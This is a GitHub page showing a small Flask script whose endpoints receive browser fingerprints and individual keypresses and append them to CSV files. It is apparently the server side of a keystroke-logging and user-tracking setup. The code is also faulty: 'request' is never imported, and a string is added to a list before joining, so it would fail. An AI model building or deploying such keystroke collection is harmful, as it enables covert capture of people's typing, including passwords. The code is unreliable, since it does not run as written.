-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
25 lines (22 loc) · 695 Bytes
/
main.py
File metadata and controls
25 lines (22 loc) · 695 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import url_for, Flask
app = Flask(__name__)
@app.route("/fingerprint/", methods=["POST"])
def fingerprint():
time = request.form["time"]
fingerprint = request.form["fingerprint"]
args = request.form["args"]
f = open('fingerprint.csv', 'a')
f.write(",".join([time, fingerprint, args] + ";\n"))
f.close()
return ('', 204)
@app.route("/keypress/", methods=["POST"])
def keypress():
time = request.form["time"]
fingerprint = request.form["fingerprint"]
key = request.form["key"]
f = open('keypress.csv', 'a')
f.write(",".join([time, fingerprint, key] + ";\n"))
f.close()
return ('', 204)
if __name__ == "__main__":
app.run()